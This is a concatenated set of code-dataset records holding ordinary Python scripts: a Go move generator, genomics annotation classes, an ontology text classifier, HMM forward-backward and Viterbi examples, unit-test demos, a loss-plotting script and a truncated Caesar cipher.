1, state.N - 2), (state.N - 2, state.N - 1)]\n else:\n return [(state.N - 1, posY - 2), (state.N - 2, posY - 1), (state.N - 1, posY)]\n elif posY == 1:\n return [(posX - 2, 0), (posX - 1, 1), (posX, 0)]\n elif posY == state.N:\n return [(posX - 2, state.N - 1), (posX - 1, state.N - 2), (posX, state.N - 1)]\n else:\n return [(posX - 1, posY - 2), (posX - 1, posY), (posX - 2, posY - 1), (posX, posY - 1)]\n\n\ngame = Game\nstate = game.load_board(game, \"/Users/olivier/PycharmProjects/AI-MiniProjects/go.txt\")\n\nprint(state.board)\nstate.moves = game.actions(game, state)\nprint(\"a\")\nprint(state.moves)\n\n#print(game.utility(game, state, 1))\n","sub_path":"go2.py","file_name":"go2.py","file_ext":"py","file_size_in_byte":7718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"235405690","text":"\"\"\"\nexfeat_classes.py contain the major classes used within the ExFeat Pipeline.\n\"\"\"\n\nfrom data_dictionary import DATA_DICT\n\nclass gff_read_entry:\n\n def __init__(self, entry):\n\n #General feature information\n self.chr = entry[0]\n self.entry_type = entry[2]\n self.start_coord = int(entry[3])\n self.stop_coord = int(entry[4])\n self.strand = entry[6]\n\n #Converting attribute column into dictionary\n entry_attr = {}\n for tag in entry[8].split(';'):\n tag_id = tag.split('=')[0]\n tag_value = tag.split('=')[1]\n entry_attr[tag_id] = tag_value\n\n #General Gene Attributes\n self.gene_type = entry_attr['gene_type']\n self.gene_name = entry_attr['gene_name']\n self.gene_id = entry_attr['gene_id']\n self.gene_status = entry_attr['gene_status']\n if 'havana_gene' in entry_attr.keys():\n self.havana_gene = entry_attr['havana_gene']\n else:\n self.havana_gene = \"NA\"\n self.level = entry_attr['level']\n\n #Transcript, Exon, CDS, 5UTR, 3UTR, Start_codon, Stop_codon, and Seleno_stop_codon Attributes\n if self.entry_type in ['transcript', 'exon', 'CDS', 'five_prime_UTR', 'three_prime_UTR', 'start_codon', 'stop_codon','stop_codon_redefined_as_selenocysteine']:\n self.transcript_id = entry_attr['transcript_id']\n self.parent = entry_attr['Parent']\n self.transcript_type = entry_attr['transcript_type']\n if self.transcript_type == 'protein_coding':\n self.protein_id = entry_attr['protein_id']\n else:\n self.protein_id = \"NA\"\n self.transcript_name = entry_attr['transcript_name']\n self.transcript_status = entry_attr['transcript_status']\n if 'havana_transcript' in entry_attr.keys():\n self.havana_transcript = entry_attr['havana_transcript']\n else:\n self.havana_transcript = 'NA'\n if 'transcript_support_level' in entry_attr.keys():\n self.transupp_level = entry_attr['transcript_support_level']\n else:\n self.transupp_level = \"NA\"\n if 'tag' in entry_attr.keys():\n self.tag = entry_attr['tag']\n else:\n self.tag = \"NA\"\n\n if self.entry_type in ['exon', 'CDS', 'five_prime_UTR', 'three_prime_UTR', 'start_codon', 'stop_codon','stop_codon_redefined_as_selenocysteine']:\n if self.entry_type not in ['stop_codon_redefined_as_selenocysteine']:\n self.exon_number = int(entry_attr['exon_number'])\n self.exon_id = entry_attr['exon_id']\n if self.entry_type in ['CDS', 'five_prime_UTR', 'three_prime_UTR', 'start_codon', 'stop_codon','stop_codon_redefined_as_selenocysteine']:\n if entry[7] == '.':\n self.phase = entry[7]\n else:\n self.phase = int(entry[7])\n\nclass exon_data_read_entry:\n\n def __init__(self, entry, method):\n\n #__init__ method for rMATS Data output analysis.\n if method == \"rMATS\":\n\n #Basic exon event details\n self.event_id = entry[0]\n self.gene_id = entry[1]\n self.event_type = entry[2]\n self.gene_name = entry[3]\n self.chr = entry[4]\n self.strand = entry[5]\n self.ic_sample_1 = map(int, entry[15].split(','))\n self.sc_sample_1 = map(int, entry[16].split(','))\n self.ic_sample_2 = map(int, entry[17].split(','))\n self.sc_sample_2 = map(int, entry[18].split(','))\n self.pval = entry[21]\n self.fdr = entry[22]\n self.psi_1 = map(float, entry[23].split(','))\n self.psi_2 = map(float, entry[24].split(','))\n self.delta_psi = float(entry[25])\n\n #Set all data_dict attributes using Data_DICT class from data_dictionary.py\n self.data_dict = DATA_DICT(entry[26])\n self.update_dict = entry[26]\n\n #Exon Coordinate and alt_region information for SE\n if self.event_type == 'SE':\n self.alt_exon_start = int(entry[6]) + 1\n self.alt_exon_end = int(entry[7])\n self.alt_region_start = int(entry[6]) + 1\n self.alt_region_end = int(entry[7])\n if self.strand == '+':\n self.up_exon_start = int(entry[8]) + 1\n self.up_exon_end = int(entry[9])\n self.dn_exon_start = int(entry[10]) + 1\n self.dn_exon_end = int(entry[11])\n if self.strand == '-':\n self.up_exon_start = int(entry[10]) + 1\n self.up_exon_end = int(entry[11])\n self.dn_exon_start = int(entry[8]) + 1\n self.dn_exon_end = int(entry[9])\n\n #Exon Coordinate and alt_region information for RI\n if self.event_type == 'RI':\n self.alt_exon_start = int(entry[6]) + 1\n self.alt_exon_end = int(entry[7])\n self.alt_region_start = int(entry[9]) + 1\n self.alt_region_end = int(entry[10])\n if self.strand == '+':\n self.up_exon_start = int(entry[8]) + 1\n self.up_exon_end = int(entry[9])\n self.dn_exon_start = int(entry[10]) + 1\n self.dn_exon_end = int(entry[11])\n if self.strand == '-':\n self.up_exon_start = int(entry[10]) + 1\n self.up_exon_end = int(entry[11])\n self.dn_exon_start = int(entry[8]) + 1\n self.dn_exon_end = int(entry[9])\n\n #Exon Coordinate and alt_region information for A5SS and A3SS\n if self.event_type == 'A5SS' or self.event_type == 'A3SS':\n self.long_exon_start = int(entry[6]) + 1\n self.long_exon_end = int(entry[7])\n self.short_exon_start = int(entry[8]) + 1\n self.short_exon_end = int(entry[9])\n self.flank_exon_start = int(entry[10]) + 1\n self.flank_exon_end = int(entry[11])\n\n if self.event_type == 'A5SS':\n if self.strand == '+':\n self.alt_region_start = int(entry[9]) + 1\n self.alt_region_end = int(entry[7])\n if self.strand == '-':\n self.alt_region_start = int(entry[6]) + 1\n self.alt_region_end = int(entry[8])\n\n if self.event_type == 'A3SS':\n if self.strand == '+':\n self.alt_region_start = int(entry[6]) + 1\n self.alt_region_end = int(entry[8])\n if self.strand == '-':\n self.alt_region_start = int(entry[9]) + 1\n self.alt_region_end = int(entry[7])\n\n if self.event_type == 'MXE':\n self.alt_exon1_start = int(entry[6]) + 1\n self.alt_exon1_end = int(entry[7])\n self.alt_exon2_start = int(entry[8]) + 1\n self.alt_exon2_end = int(entry[9])\n self.alt_region_start = int(entry[6]) + 1\n self.alt_region_end = int(entry[7])\n if self.strand == '+':\n self.up_exon_start = int(entry[10]) + 1\n self.up_exon_end = int(entry[11])\n self.dn_exon_start = int(entry[12]) + 1\n self.dn_exon_end = int(entry[13])\n if self.strand == '-':\n self.up_exon_start = int(entry[12]) + 1\n self.up_exon_end = int(entry[13])\n self.dn_exon_start = int(entry[10]) + 1\n self.dn_exon_end = int(entry[11])\n\nclass transcript_read:\n\n #Transcript sequence\n class sequence:\n def __init__(self, transcript_sequence):\n self.transcript_seq = transcript_sequence\n\n #Method to retreive region information from genomic_coord\n def coord_to_region(self, gen_coord):\n if len(gen_coord) == 1:\n for seq in self.transcript_seq:\n base = self.base(seq)\n if gen_coord == base.base_coord:\n return [base.mrna_region]\n if len(gen_coord) == 2:\n regions = []\n for seq in self.transcript_seq:\n base = self.base(seq)\n if base.base_coord in range(min(gen_coord),max(gen_coord) + 1):\n for reg in base.mrna_region:\n if reg not in regions:\n regions.append(reg)\n return regions\n\n #Method to extract sequence of specified mRNA region, ex 'five_prime_UTR'\n def mrna_region(self, region_type):\n ret_seq = ''\n for seq in self.transcript_seq:\n base = self.base(seq)\n if region_type in base.mrna_region:\n ret_seq += base.base_letter\n if len(ret_seq) == 0:\n return 'not_defined'\n return ret_seq\n\n #Method to extract sequence of specified exon_number\n def exon_number(self, exon_numb):\n ret_seq = ''\n for seq in self.transcript_seq:\n base = self.base(seq)\n if exon_numb == base.exon_number:\n ret_seq += base.base_letter\n if len(ret_seq) == 0:\n return 'not_defined'\n return ret_seq\n\n #Method to extract sequence out specified window from specified genomic_coord, ex_number, or region_type\n def seq_window(self, right_win, left_win, gen_coord='', exon_numb='', region_type=''):\n ret_seq = ''\n ind = []\n if gen_coord is tuple:\n if len(gen_coord) == 1:\n for seq in self.transcript_seq:\n base = self.base(seq)\n if gen_coord == base.base_coord:\n ind.append(self.transcript_seq.index(seq))\n if len(gen_coord) == 2:\n for seq in self.transcript_seq:\n base = self.base(seq)\n if base.base_coord in range(gen_coord[0],gen_coord[1]):\n ind.append(self.transcript_seq.index(seq))\n return ret_seq\n\n #Method returns index within transcript_ds for the specified region\n def index(self, gen_coord='', exon_numb='', region_type=''):\n ind = []\n if gen_coord != '':\n if len(gen_coord) == 1:\n for seq in self.transcript_seq:\n base = self.base(seq)\n if gen_coord[0] == base.base_coord:\n ind.append(self.transcript_seq.index(seq))\n if len(ind) < 1:\n return ['genome coord does not exist']\n if len(gen_coord) == 2:\n for seq in self.transcript_seq:\n base = self.base(seq)\n if gen_coord[0] == base.base_coord:\n ind.append(self.transcript_seq.index(seq))\n if gen_coord[1] == base.base_coord:\n ind.append(self.transcript_seq.index(seq))\n if len(ind) < 2:\n return ['genome coord does not exist']\n return ind\n if exon_numb != '':\n return ind\n if region_type != '':\n region_ind = []\n for seq in self.transcript_seq:\n base = self.base(seq)\n if region_type in base.mrna_region:\n region_ind.append(self.transcript_seq.index(seq))\n ind.append(min(region_ind))\n ind.append(max(region_ind))\n return ind\n\n #Transcript Base\n class base:\n def __init__(self, transcript_base):\n self.exon_number = int(transcript_base[0])\n self.base_coord = transcript_base[1]\n self.base_letter = transcript_base[2]\n self.mrna_region = transcript_base[3]\n self.info = self.BASE_DICT(transcript_base[4])\n self.update_info = transcript_base[4]\n\n class BASE_DICT:\n def __init__(self, base):\n self.tag = base['tag']\n\n class base_dict_keys:\n tag = 'tag'\n\n #Transcript status class\n class status:\n def __init__(self, transcript_status):\n self.status_5utr = transcript_status['five_prime_UTR']\n self.status_3utr = transcript_status['three_prime_UTR']\n self.status_exon = transcript_status['exon']\n self.status_cds = transcript_status['CDS']\n self.status_start = transcript_status['start_codon']\n self.status_stop = transcript_status['stop_codon']\n self.status_seleno = transcript_status['stop_codon_redefined_as_selenocysteine']\n\nclass protein_read():\n\n #Protein sequence\n class sequence():\n def __init__(self, protein_sequence):\n self.protein_seq = protein_sequence\n\n #Method to extract sequence of specified mRNA region, ex 'five_prime_UTR'\n def exon_number(self, exons):\n ret_seq = ''\n for seq in self.protein_seq:\n amino = self.amino_acid(seq)\n if len(set(exons).intersection(amino.exon)) > 0:\n ret_seq += amino.aa_letter\n if len(ret_seq) == 0:\n return 'not_defined'\n return ret_seq\n\n #Protein Amino Acid\n class amino_acid:\n def __init__(self, protein_aa):\n self.index = protein_aa[0]\n self.aa_letter = protein_aa[1]\n self.codon = protein_aa[2]\n self.transcript_coord = protein_aa[3]\n self.exon = protein_aa[4]\n","sub_path":"exfeat_classes.py","file_name":"exfeat_classes.py","file_ext":"py","file_size_in_byte":14265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"551434968","text":"from __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport csv\nimport collections\nimport json\nimport string\nimport re\nimport sys, getopt\nfrom time import time\n\nfrom stemming.porter2 import stem\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn import svm\n\n#list of stopwords\nf = open(\"english\")\nstopwords = list(f)\nstopwords = [w.strip() for w in stopwords]\n\n#open GO files\nHPO_JSON = \"hpo.json\"\nf = open(HPO_JSON)\nhpo_ontology = json.load(f)\nf.close()\n\nHPO_PARENTS = \"hpo_parents.json\"\nf = open(HPO_PARENTS)\nhpo_parents = json.load(f)\nf.close()\n\nHPO_CHILDREN = \"hpo_children.json\"\nf = open(HPO_CHILDREN)\nhpo_children = json.load(f)\nf.close()\n\nHPO_DESC = \"go_descendants.json\"\nf = open(HPO_DESC)\nhpo_descendants = json.load(f)\nf.close()\n\nHPO_ANCES = \"go_ancestors.json\"\nf = open(HPO_ANCES)\nhpo_ancestors = json.load(f)\nf.close()\n\n\ndef get_ancestors(hpo_term):\n\treturn go_ancestors[hpo_term]\n\ndef get_descendants(hpo_term):\n\treturn hpo_descendants[hpo_term]\n\ndef get_children(hpo_term):\n\treturn hpo_children[hpo_term]\n\ndef get_parents(hpo_term):\n\treturn hpo_parents[hpo_term]\n\n\n## randomize the ordering of the dataset\ndef shuffle_data(abstracts, hpo_terms, pmids):\n\tprint(\"Shuffle dataset\")\n\tabstracts_shuffle = []\n\thpo_terms_shuffle = []\n\tpmids_shuffle = []\n\tindex_shuffle = np.arange(len(abstracts))\n\tnp.random.shuffle(index_shuffle)\n\tfor i in index_shuffle:\n\t\tabstracts_shuffle.append(abstracts[i])\n\t\thpo_terms_shuffle.append(hpo_terms[i])\n\t\tpmids_shuffle.append(pmids[i])\n\treturn (abstracts_shuffle, hpo_terms_shuffle, pmids_shuffle)\n\n\n\ndef text_preprocessing(text):\n #lowercase everything\n text = text.lower()\n #replace punctuation with single space\n regex = re.compile('[%s]' % re.escape(string.punctuation))\n text = regex.sub(\" \", text)\n #remove stopwords\n no_stopwords = [word for word in text.split() if word.lower() not in stopwords]\n text = \" \".join(no_stopwords)\n #stem the words\n text = \" \".join([stem(w) for w in text.split()])\n return text\n\n\n#compute precision & recall for one test point\ndef evaluate_prediction(true_labels, pred_labels):\n\tinter = set(pred_labels) & set(true_labels)\n\tprecision = 0\n\trecall = 0\n\tif len(pred_labels)!=0:\n\t\tprecision = len(inter)/len(pred_labels)\n\tif len(true_labels)!=0:\n\t\trecall = len(inter)/len(true_labels)\n\treturn precision,recall\n\n\n#get set of ancestors for each go term\ndef propagate_hpo_terms(hpo_terms):\n\tlabel_list = []\n\tfor term in hpo_terms:\n\t\tlabel_list.extend(get_ancestors(term))\n\treturn list(set(label_list))\n\n\ndef predict_terms(test_point):\n\tprob_ontology = []\n\tfor clf in classifiers:\n\t\tprob = clf.predict_proba(test_point)[0][1]\n\t\tprob_ontology.append(prob)\n\treturn prob_ontology\n\n\n\n\n####################################### MAIN #############################################\nif __name__ == \"__main__\":\n\t\n\tif len(sys.argv[1:]) < 1:\n\t\tprint(\"This script requires at least 4 arguments: sample_threshold, save_results\")\n\t\texit()\n\telse:\n\t\tprint(\"=====START=====\")\n\t\tprint(\"\\nSettings:\")\n\n\t\tsample_threshold = int(sys.argv[1])\n\t\tprint(\"Sample threshold: \", sample_threshold)\n\t\n\t\tsave_results = sys.argv[2]\n\t\tprint(\"Save results? \", save_results)\n\n\t\ttime_start_all = time()\n\n\t\t#prepare train set\n\t\tfname1 = \"hpo_train_dict.json\"\n\t\tfname2 = \"hpo_train_papers.json\"\n\n\t\tf = open(fname1,\"r\")\n\t\thpo_keys_dict = json.load(f)\n\t\tf.close()\n\n\t\tf = open(fname2,\"r\")\n\t\tpubmed_papers_dict = json.load(f)\n\t\tf.close()\n\n\t\thpo_papers_keys = hpo_papers_dict.keys()\n\t\tpubmed_papers_keys = pubmed_papers_dict.keys()\n\t\tfor node in hpo_ontology:\n\t\t\thpo_term = node['id']\n\t\t\tif hpo_term in hpo_papers_keys:\n\t\t\t\tpubmed_ids = hpo_papers_dict[hpo_term]\n\t\t\t\tif len(pubmed_ids)>10:\n\t\t\t\t\tpubmed_ids = pubmed_ids[:10]\n\t\t\t\tfor pmid in pubmed_ids:\n\t\t\t\t\tif pmid in pubmed_papers_keys:\n\t\t\t\t\t\ttext = pubmed_papers_dict[pmid]\n\t\t\t\t\t\ttext = text_preprocessing(text)\n\t\t\t\t\t\tdata_list.append(text)\n\t\t\t\t\t\tclass_list.append(hpo_term)\n\t\t\t\t\t\tid_list.append(pmid)\n\n\t\t#shuffle train set\n\t\t(data_list, class_list, id_list) = shuffle_data(data_list, class_list, id_list)\n\n\t\tfraction_train_data = 1\n\t\tindex = int(len(data_list)/fraction_train_data)\n\t\tX_train = data_list[:index]\n\t\tclass_train = class_list[:index]\n\t\tid_train = id_list[:index]\n\n\t\t#prepare test set\n\t\tf = open(\"hpo_gold_dict.json\")\n\t\thpo_gold = json.load(f)\n\t\tf = open(\"pubmed_records.json\")\n\t\tpubmed_records = json.load(f)\n\t\n\t\tX_test = []\n\t\tclass_test = []\n\t\tid_test = []\n\t\t\n\t\thpo_prot = hpo_gold.keys()\n\t\tfor prot in hpo_prot:\n\t\t\tpmids = hpo_gold[prot][\"PMID\"]\n\t\t\thpo_terms = hpo_gold[prot][\"HPO\"]\n\t\t\ttext = \"\"\n\t\t\tfor pmid in pmids:\n\t\t\t\tif pmid in pubmed_records.keys():\n\t\t\t\t\ttext+=pubmed_records[pmid]\n\t\t\ttext = text_preprocessing(text)\n\t\t\tX_test.append(text)\n\t\t\tclass_test.append(hpo_terms)\n\t\t\tid_test.append(prot)\n\n\t\ttrain_len = len(X_train)\n\t\ttest_len = len(X_test)\t\n\t\tprint(\"Train set: \", train_len)\n\t\tprint(\"Test set: \", test_len)\n\t\t\n\t\t#vectorize features\n\t\tvectorizer = TfidfVectorizer(sublinear_tf=True, max_df=0.5)\n\t\tX_train = vectorizer.fit_transform(X_train)\n\t\tX_test = vectorizer.transform(X_test)\n\t\t\n\t\t#create binary classifiers\n\t\tprint(\"Creating classifiers\")\n\t\ttime_start_classifier = time()\n\t\tclassifiers = []\n\t\tclassifier_keys = []\n\t\tfor node in hpo_ontology:\n\t\t\thpo_id = node['id']\n\t\t\tdescendants = get_descendants(hpo_id)\n\t\t\ty_train = []\n\t\t\tfor term in class_train:\n\t\t\t\tif term in descendants:\n\t\t\t\t\ty_train.append(1)\n\t\t\t\telse:\n\t\t\t\t\ty_train.append(0)\n\t\t\tpos_count = y_train.count(1)\n\t\t\tif pos_count>=sample_threshold:\n\t\t\t\tclf = MultinomialNB().fit(X_train, y_train)\n\t\t\t\tclassifiers.append(clf)\n\t\t\t\tclassifier_keys.append(hpo_id)\n\t\tprint(\"Done creating classifiers. Classifier count: \", len(classifiers))\n\t\ttime_end_classifier = time()-time_start_classifier\n\n\n\t\tprint(\"Running the classifiers on the test set\")\n\t\ttime_start_test = time()\n\t\tprob_dict = {}\n\t\tfor i in range(len(id_test)):\n\t\t\ttest_point = X_test[i]\n\t\t\tprob_dict[id_test[i]] = predict_terms(test_point)\n\t\ttime_end_test = time()-time_start_test\n\t\n\t\tprint(\"Calculate F1/recall/precision by threshold\")\n\t\ttime_start_eval = time()\n\t\tprecision_list = []\n\t\trecall_list = []\n\t\tf1_list = []\n\t\tfor r in range(1,101):\n\t\t\tthresh = r/100\n\t\t\ttotal_precision = 0\n\t\t\ttotal_recall = 0\n\t\t\tfor i in range(test_len):\n\t\t\t\tall_labels = np.array(classifier_keys)\n\t\t\t\tall_prob = np.array(prob_dict[id_test[i]])\n\t\t\t\tpositive_labels = list(all_labels[all_prob[:]>=thresh])\n\t\t\t\tpredicted_labels = propagate_hpo_terms(positive_labels)\n\t\t\t\ttrue_labels = propagate_hpo_terms(class_test[i])\n\t\t\t\tprecision,recall = evaluate_prediction(true_labels, predicted_labels)\n\t\t\t\ttotal_precision+=precision\n\t\t\t\ttotal_recall+=recall\n\t\t\tfinal_precision = total_precision/test_len\n\t\t\tfinal_recall = total_recall/test_len\n\t\t\tfinal_f1 = 0\n\t\t\tif final_precision+final_recall>0:\n\t\t\t\tfinal_f1 = (2*final_precision*final_recall)/(final_precision+final_recall)\n\t\t\tprecision_list.append(final_precision)\n\t\t\trecall_list.append(final_recall)\n\t\t\tf1_list.append(final_f1)\n\n\t\tmax_f1 = max(f1_list)\n\t\tmax_thresh = f1_list.index(max_f1)\n\t\tmax_precision = precision_list[max_thresh]\n\t\tmax_recall = recall_list[max_thresh]\n\n\t\ttime_end_eval = time()-time_start_eval\n\t\ttime_end_all = time()-time_start_all\n\n\t\tprint(\"\\n-----Results-----\")\n\t\tprint(\"Max F1: \", max_f1)\n\t\tprint(\"Max Precision: \", max_precision)\n\t\tprint(\"Max Recall: \", max_recall)\n\t\tprint(\"Maximizing Threshold: \", max_thresh)\n\t\t\n\n\t\tprint(\"\\n-----Timings-----\")\n\t\tprint(\"Total time: \", time_end_all)\n\n\t\t#save output to file\n\t\tf = open(\"log_HPO.txt\",\"w\")\n\t\tprint(\"\\n-----Results-----\", file=f)\n\t\tprint(\"Max F1: \", max_f1, file=f)\n\t\tprint(\"Max Precision: \", max_precision, file=f)\n\t\tprint(\"Max Recall: \", max_recall, file=f)\n\t\tprint(\"Max Threshold: \", max_thresh, file=f)\n\n\t\tprint(\"\\n-----Timings-----\", file=f)\n\t\tprint(\"Creating classifiers: \", time_end_classifier, file=f)\n\t\tprint(\"Evaluating test set: \", time_end_test, file=f)\n\t\tprint(\"Computing metrics per threshold: \", time_end_eval, file=f)\n\t\tprint(\"Total time: \", time_end_all, file=f)\n\n\t\tprint(\"\\nDONE!\")\n\n\n\n\n\n","sub_path":"build_hierarchical_classifier_hpo.py","file_name":"build_hierarchical_classifier_hpo.py","file_ext":"py","file_size_in_byte":8064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"265173043","text":"# Wikipedia implementation https://en.wikipedia.org/wiki/Forward%E2%80%93backward_algorithm\n#\n\n\ndef fwd_bkw(x, states, a_0, a, e, end_st):\n L = len(x)\n\n fwd = []\n f_prev = {}\n # forward part of the algorithm\n for i, x_i in enumerate(x):\n f_curr = {}\n for st in states:\n if i == 0:\n # base case for the forward part\n prev_f_sum = a_0[st]\n else:\n prev_f_sum = sum(f_prev[k] * a[k][st] for k in states)\n\n f_curr[st] = e[st][x_i] * prev_f_sum\n\n fwd.append(f_curr)\n f_prev = f_curr\n\n p_fwd = sum(f_curr[k] * a[k][end_st] for k in states)\n\n bkw = []\n b_prev = {}\n # backward part of the algorithm\n for i, x_i_plus in enumerate(reversed(x[1:] + (None,))):\n b_curr = {}\n for st in states:\n if i == 0:\n # base case for backward part\n b_curr[st] = a[st][end_st]\n else:\n b_curr[st] = sum(a[st][l] * e[l][x_i_plus] * b_prev[l] for l in states)\n\n bkw.insert(0, b_curr)\n b_prev = b_curr\n\n p_bkw = sum(a_0[l] * e[l][x[0]] * b_curr[l] for l in states)\n\n # merging the two parts\n posterior = []\n for i in range(L):\n posterior.append({st: fwd[i][st] * bkw[i][st] / p_fwd for st in states})\n\n print(\"p_fwd: \" + str(p_fwd) + \" p_bkw: \" + str(p_bkw))\n assert p_fwd == p_bkw\n return fwd, bkw, posterior\n\n\n## FWD-BKWD\nstates = ('Healthy', 'Fever')\nend_state = 'E'\n\n# observations = ('normal', 'cold', 'dizzy')\nobservations = ('normal', 'cold', 'dizzy', 'cold', 'cold', 'cold')\nstart_probability = {'Healthy': 0.6, 'Fever': 0.4}\n\ntransition_probability = {\n 'Healthy': {'Healthy': 0.69, 'Fever': 0.3, 'E': 0.01},\n 'Fever': {'Healthy': 0.4, 'Fever': 0.59, 'E': 0.01},\n}\nemission_probability = {\n 'Healthy': {'normal': 0.5, 'cold': 0.4, 'dizzy': 0.1},\n 'Fever': {'normal': 0.1, 'cold': 0.3, 'dizzy': 0.6},\n}\n\n\ndef example():\n return fwd_bkw(observations,\n states,\n start_probability,\n transition_probability,\n emission_probability,\n end_state)\n\n\n# [IOHAVOC] run fwd_bkwd\n# for line in example():\n# print(*line)\n\n\n#############################\n\ndef viterbi(obs, states, start_p, trans_p, emit_p):\n V = [{}]\n for i in states:\n V[0][i] = start_p[i] * emit_p[i][obs[0]]\n print(\"V[0][\" + i + \"]=\" + str(V[0][i]))\n\n print(\"\\n\")\n # Run Viterbi when t > 0\n for t in range(1, len(obs)):\n V.append({})\n for y in states:\n prob = max(V[t - 1][y0] * trans_p[y0][y] * emit_p[y][obs[t]] for y0 in states)\n V[t][y] = prob\n\n for i in dptable(V):\n print(i)\n opt = []\n for j in V:\n for x, y in j.items():\n if j[x] == max(j.values()):\n opt.append(x)\n\n # The highest probability\n h = max(V[-1].values())\n print('\\nThe steps of states are ' + ' '.join(opt) + ' with highest probability of %s' % h)\n\n\ndef dptable(V):\n # Print a table of steps from dictionary\n yield \" \".join((\"%10d\" % i) for i in range(len(V)))\n for y in V[0]:\n yield \"%.7s: \" % y + \" \".join(\"%.7s\" % (\"%f\" % v[y]) for v in V)\n\n\n#\nviterbi(observations, states,\n start_probability,\n transition_probability,\n emission_probability)\n","sub_path":"Viterbi_FWD_BKWD.py","file_name":"Viterbi_FWD_BKWD.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"370835549","text":"import unittest\n'''\nUnit Test: Relational Comparison \nassertGreater: It verifies whether first parameter is greater than second parameter or not.\nassertGreaterEqual: It verifies whether first parameter is greater or\n equal to second parameter.\nassertLess: It verifies whether first parameter is lesser than second parameter or not.\nassertLessEqual: It verifies whether first parameter is greater than second parameter or not.\n\n'''\n\nclass AppTest(unittest.TestCase):\n def testName(self):\n # assertGreater\n #self.assertGreater(100,10)\n\n # assertGreaterEqual\n #self.assertGreaterEqual(100, 20)\n\n # assertLess\n #self.assertLess(100,10)\n\n # assertLessEqual\n self.assertLessEqual(100,100)\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"AssertionTest_relationalComponents.py","file_name":"AssertionTest_relationalComponents.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"122910050","text":"import unittest\n\nfrom Calculator.calculator import Calculator;\nfrom Calculator.statistics import Statistics;\n\n\nclass MyTestCase(unittest.TestCase):\n\n def setUp(self):\n self.calculator = Calculator()\n self.statistics = Statistics()\n\n def test_calculator_return_sum(self):\n result = self.calculator.addition(1, 2)\n self.assertEqual(3, result)\n\n\n def test_statistics_calculator_return_mean(self):\n data = [1, 2, 3, 4, 5]\n result = self.statistics.mean(data)\n self.assertEqual(3, result)\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"Test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"485402031","text":"import pickle\r\nimport glob\r\n\r\nfor filename in glob.glob('pickled_recs/*.pkl'): # для ‘bob’,’sue’,’tom’\r\n rec_file = open(filename, 'rb')\r\n record = pickle.load(rec_file)\r\n print(filename, '=>\\n ', record)\r\n\r\nsue_file = open('pickled_recs/Sue.pkl', 'rb')\r\nprint('\\n', pickle.load(sue_file)['name']) # извлечь имя Сью\r\n\r\n","sub_path":"zav/create_pickle_db/open_pickle_files.py","file_name":"open_pickle_files.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"451417275","text":"import numpy as np\nimport torch\nimport torch.utils.data\nimport os\nimport matplotlib.pyplot as plt\nimport random\n\nfrom matplotlib.pyplot import *\n\nVal_loss_0= np.load('/scratch/daep/e.ajuria/FluidNet/Fluid_EA/fluidnet_cxx/ModelTest_EA/val_loss.npy')\nTrain_loss_0= np.load('/scratch/daep/e.ajuria/FluidNet/Fluid_EA/fluidnet_cxx/ModelTest_EA/train_loss.npy')\n\n\nprint(Val_loss_0.shape)\n\n\n#Variables\nepoch = Val_loss_0[:,0]\n\nTrain_loss = Train_loss_0[:,1]\nDiv_train_loss = Train_loss_0[:,3]\nDiv_LT_train_loss = Train_loss_0[:,6]\n\nVal_loss = Val_loss_0[:,1]\nDiv_val_loss = Val_loss_0[:,3]\nDiv_LT_val_loss = Val_loss_0[:,6]\n\n#plot training/validation losses on relevant graph\nplt.figure(figsize=(20,10))\n\nplt.plot(epoch,Train_loss, label='Training loss REF', color='blue', linestyle='solid', linewidth=5)\nplt.plot(epoch,Val_loss, label='Validation loss REF', color='blue', marker='+', linestyle='None', linewidth=5)\n\nplt.plot(epoch,Div_train_loss, label='Divergency Training loss', color='red', linestyle='solid', linewidth=5)\nplt.plot(epoch,Div_val_loss, label='Divergency Validation loss', color='red', marker='+', linestyle='None', linewidth=5)\n\nplt.plot(epoch,Div_LT_train_loss, label='Training Long Term loss', color='green', linestyle='solid', linewidth=5)\nplt.plot(epoch,Div_LT_val_loss, label='Validation Long Term loss', color='green', marker='+', linestyle='None', linewidth=5)\n\n#print('Val Loss', Val_loss)\n\nplt.legend(fontsize = 20)\nplt.yscale(\"log\")\n#plt.ylim(0.01,0.5)\n\nplt.title('Training & Validation loss during training', fontsize = 25)\nplt.xlabel('Epoch', fontsize = 25)\nplt.ylabel('Loss', fontsize = 25)\n\nplt.savefig('/scratch/daep/e.ajuria/FluidNet/Fluid_EA/fluidnet_cxx/ModelTest_EA/Loss_total.png')\n","sub_path":"ModelTest_EA/plot_loss.py","file_name":"plot_loss.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"273487947","text":"alphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\r\n\r\ndef rotate(letter, shift):\r\n '''rotates, or shifts letters by a number, that the user inputs'''\r\n initial_pos = alphabet.find(letter) #find returns a #\r\n final_pos = (initial_pos + shift) % 26\r\n return(alphabet[final_pos]) #returns shifted letter\r\n #brackets use index number (location) to output letter\r\n #final_pos gives index number of shifted letter \r\n\r\ndef c_encrypt(string, shift):\r\n '''shifts letters of the alphabet in the string, leaving symbols alone'''\r\n alphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\r\n string = string.upper()\r\n encryption = ''\r\n for char in string:\r\n if char in alphabet:\r\n encryption += rotate(char, shift)\r\n else:\r\n encryption += char\r\n return(encryption)\r\n\r\ndef c_decrypt(string, 